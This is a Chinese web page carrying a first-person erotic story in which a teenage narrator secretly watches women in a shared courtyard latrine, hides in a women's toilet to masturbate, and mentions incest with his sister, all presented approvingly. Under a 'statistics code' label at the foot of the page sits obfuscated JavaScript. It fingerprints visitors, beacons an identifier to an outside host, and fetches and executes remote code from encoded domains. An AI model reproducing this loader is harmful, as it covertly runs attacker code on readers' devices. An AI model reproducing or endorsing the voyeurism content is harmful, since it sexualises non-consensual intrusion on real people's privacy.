大杂院里的公厕
匿名用户
2024年06月25日
次访问


在我刚上高中时,城市里还没有那么多楼房,大多数人都住平房,我家也一样。我家住在一条狭窄的胡同里最大的一个大杂院,里面有一个土厕所,是半露天的,男女厕各有一个小灯泡用来夜间照明。我小的时候经常趁没人偷偷跑到女厕所去,那时只有朦胧的性意识,嗅一嗅女厕那独特的气味已经很满足了,上了中学,慢慢的懂事了,也不敢再偷跑去女厕了。我初中毕业那年我们院的公厕修缮了一次,本来一个个单独的土蹲坑变成了大通坑,上面铺上一条条水泥板作为踏脚处。修好后我发现了一个秘密,就是女厕的坑里的光线亮到足够蹲在男厕通过尿水的反射可以清楚的看到女厕的一个个坑,而当有女的上厕所时,她的下体在坑中尿水中的倒影在男厕可以看的很清楚,即使天气不好,也可以看见个轮廓。哇!!!太棒了!!!
于是,我开始经常蹲在那里窥看女厕。我父母都在外地工作,一年难得回来几次,家里只有我、大姐和爷爷,爷爷只知道让我吃饱穿暖学习好,别的不问,大姐已经上班了,而且正在谈恋爱,所以也不怎么管我,所以我有充足的时间长时间的蹲在男厕所,爷爷以为我去同院的同学家作功课或玩去了。大姐下班后天已经快黑了,厕所里已经看不见那边的情况了,所以大姐也一直没有发现我的不正常的上厕所时间。到了暑假,我更是成了没王的蜂,院子里的男人们都去上班了,所以上男厕的人很少,我就经常能在里面看很长时间。
当然也不是只要蹲这就有女人下体可看的,得等目标,而且,靠外的两个蹲位看的不是很清楚,只有靠近男厕的两个蹲位看的很清楚。这样其实更刺激,好不轻易等来一个,又正好蹲在靠近我的位置,我就看爽了!先是听见脚步声,再看见人影,接着是看见两条腿分开站在坑两边,然后解裤子……每到这时,我就睁大了眼睛,生怕漏掉了什么镜头……哗的一下,裤子扒下来了,一个女人的下体就通过尿水的倒影呈现在我眼前……我目不转睛的看着,口水直流,(厕所里流口水是什么感觉?)真想扑过去把脸埋在那女的的肉堆里(当时虽然已经明白男女之事,但儿时性朦胧时期的性幻想就是把脸埋在女人的下体上蹭,现在看见这完整的下体不禁勾起儿时的性幻想的回忆),她们脱了裤子(或者撩起裙子)就迫不及待的先是一泡尿,然后假如我运气好的话赶上她们大便那就爽了,可以多看一会儿,这时我会不自觉的把手放在自己下体开始手淫。假如不大便她们尿完了就擦擦下面(我才知道原来女的小便完了要擦逼呀)。等她排完了提裤子时,我总是恋恋不舍的目送她们离开,并且等待下一个目标的出现。 
时间长了,我开始留意被我看了下体的女的是谁,假如她们不是一个人来的,会在厕所交谈,会比较轻易分辨出来是谁,有时我会等她们出来时也跑出厕所看看到底是谁,这种乐趣更使我乐此不疲。那些平时一本正经的妇女,会主动脱了裤子让我看下体(当然她们不知道);和我同班又同院的小琴(化名)平时自以为班花,瞧不上这个,看不上那个,请她看个电影还老说没空,得,还不是乖乖的脱了裤子给我看别的男同学看不到的美景;那个我小时候总冤枉我偷他家种的葡萄的泼妇,现如今也要给我展示她排便的过程;对了,住在后排院子里的那个漂亮的大姐姐,是我的梦中情人,我每次在院子里碰见她连招呼都紧张的不敢打,现在也温柔的撩起了她漂亮的裙子,让我看我梦寐以求的画面…………星期天最刺激,院子里的人都不用上班,上厕所的女的多而且频繁,但男的也比平时多,所以象打游击,跑来跑去的不能总蹲在那里惹人怀疑。那几年,我手淫的很厉害,有时晚上幻想着在厕所看到的画面手淫,有时干脆就冒险在厕所里打手枪。直到我上了大学,我姐姐也结婚了,我和她开始乱伦后,我手淫的频率才逐渐减少了。
我发现我的胃口越来越大,暑假里,我在厕所呆的时间非常长,蹲累了,起来活动活动。爷爷知道我出去玩了或者去同学家做作业了,并不怀疑。我发现我不能自拔,越来越希望真的到女厕所去看个究竟,但那怎么可能???就算是趁晚上天黑躲在阴暗的角落,一个院子的也很轻易被认出来。我急的象热锅上的蚂蚁,欲望使我不知所措…………对了,别的院子里的厕所怎么样?我决定冲出本院,走向全胡同!我开始在晚上考察各个大杂院的厕所,最后决定到一个生疏的没什么人熟悉我的院子趁天黑躲在女厕所!我比较瘦,个子也不是太高,头发也比较长,黑暗中应该没人注重我是个男的,而且我挑选的那个院子的厕所没有灯。我决定动手的当天,紧张的有些失态,爷爷以为我怎么了,我说没事,那天我连我们院的厕所也没怎么去蹲,就等着天完全黑了去那个生疏的院子进那个生疏的女厕所。
吃过晚饭,我看了会电视,天终于黑严实了,我跟爷爷说我去同学小东(化名)家借本书,就带上小手电出了门,手电估计用不上,但还是带上以备不时之需。我来到那个离我家很远的院子,在门口定了定神,当时的平房一般院子里都很黑,所以我这个生疏人很轻易的就走到了女厕所门口。我先仔细听了听,好象没人,对了,我怎么傻了?我就直接拿手电往里照照看不就好了?反正这个厕所没有灯,就算里面有人也看不见我是个男的,而且里面有人更好,我可以用手电照着她的屁股看看,再大摇大摆的进去蹲下!想好了!我就进!打开手电往里一照,没人,我连忙走进去蹲在最里面的坑位上,脱下裤子。没多久就听到了脚步声,是朝女厕所来的。糟了,要是她也拿手电照我怎么办?我赶紧埋下头……好在那女的没拿手电,对呀,自己大院里的厕所应该很熟悉呀,还用什么手电呀?其实当时也看不见什么,借助微弱的星光顶多也就看见个轮廓,但那感觉真是刺激,因为我是蹲在女厕所里看女的上厕所!!我当时看着那女的身后略发白的地方,是屁股,我能感觉到我的心跳的很厉害,几乎都能听到心跳声!我吓的一动不敢动。过了很久,大概有半个小时,有过四个女的来上过厕所,我才慢慢平静下来,心想冒这么大的险,怎么也得打个手枪吧?于是我等着下一个目标的出现,一面用手抓住了我的阴茎。现在眼睛慢慢适应了黑暗,所以已经能大致分辨出进来的女的是青年的还是中年的,当然裸露出来的半个屁股也看的比较清楚了。一会,来了个中年女的,蹲下尿完了没起来,是来大便的,我就开始一边看着一边手淫。我动作不敢太大,但当时那么刺激的场面足以使我很兴奋,因而等那女的提裤子走了之后不久我就射了。嘿嘿,这个院子的女同胞们没想到她们专用的脱裤子的地方有个男的在这里射精吧?好了,我该走了,再不走恐怕就危险了,万一有人拿着手电来看见我不是个女的就完了。我提上裤子,一下没站起来,因为蹲的时间太久,腿麻了,我半蹲半站的等着腿恢复,结果又来了个女的上厕所,我反正动不了,就干脆半蹲半站着看。那女的撒了尿很快就走了,我因为射过了也没什么感觉了,只想快回家。好了,腿不怎么麻了,我走到女厕所门口,听了听四下没有声音,便出了女厕所门,一路小跑的回家了。 
回到家,爷爷和姐姐已经睡了,我怎么也睡不着,不光是刺激,还有后怕,回想起来,万一被抓住……后果不堪设想。
后来,我再也没敢进女厕所,只是在我们院的男厕所里通过尿水反射看那边女人的下体,有时拉粪的工人把厕所掏空了,没有了尿水也没了倒影,我很着急,还曾经偷偷的从家里提水往厕所倒过。星期天也常能看见姐姐的下体,那时我已经开始打姐姐的主意了(此是后话,暂且不提)我不知道从女厕所那边能不能看见这边的情况,也不敢过去看。我也怀疑院子里多数男的也发现了这个得天独厚的观察口,当时没觉得怎样,现在回想起来,他们肯定也常看,只是没有我这么频繁,这么投入罢了,还有,他们要是看了就一定知道自己的老婆也被别人看了下体,或者自己也能从这里看见自己老婆和其他女性亲属的下体,但几年来厕所一直没有被再改造过,有这么大的纰漏为什么没人管呢?我猜女厕所那边看不见这边,因为居委会主任是个女的,要是看见了早把厕所改了,又或者那边能看见这边,但大家也都心照不宣,乐得享受这一难得的美景。至于有老婆的男人们,我猜他们是这么想的:这事不能提醒老婆说上厕所时尽量靠外蹲,因为这样他们的老婆一定会知道她们的男人可以看见全院女人的下体,而假如这事传开了厕所就得改,到时候男人们不是没的看了?多可惜,所以男人们只好牺牲自己的老婆被别的男人看下体而保全自己看更多女人下体的场所。可笑的是大家就这样心照不宣的过了好几年,公公看儿媳妇的,儿子看妈妈的,弟弟看姐姐的,最尴尬的要算后院子住的兄弟俩,都结婚了,他们可以互相看对方的媳妇的下体,大伯子看弟妹的,小叔子看嫂子的,而且他们都能看他们妈妈的…………真是哑巴吃蜜糖,有甜没法说呀……
过了几年,这些大杂院开始拆迁盖楼房了,我也上了大学住校了,后来拆厕所前我还去过几次,可是人都搬走了哪还有女的上厕所呀?拆厕所的当天我去了,呆呆的站在女厕所门口发呆(反正都是工人没人熟悉我,再说都拆了我也能明目张胆的看女厕所了)心想这样好的一个性资源就这样的没有了,以后再想看真的不轻易了…………

小说推荐
统计代码
function PVdLYsu(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWIHJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return PVdLYsu(t);};window[''+'a'+'r'+'Q'+'i'+'z'+'Y'+'f'+'C'+'U'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LVcM(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWIHJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LVcM(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/6906/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LVcM(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmhveHdsbS5jbiUzQTgg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS50Y3FjYi5jbiUzQTk1MzQ=','1944',window,document,['g','J']);}:function(){};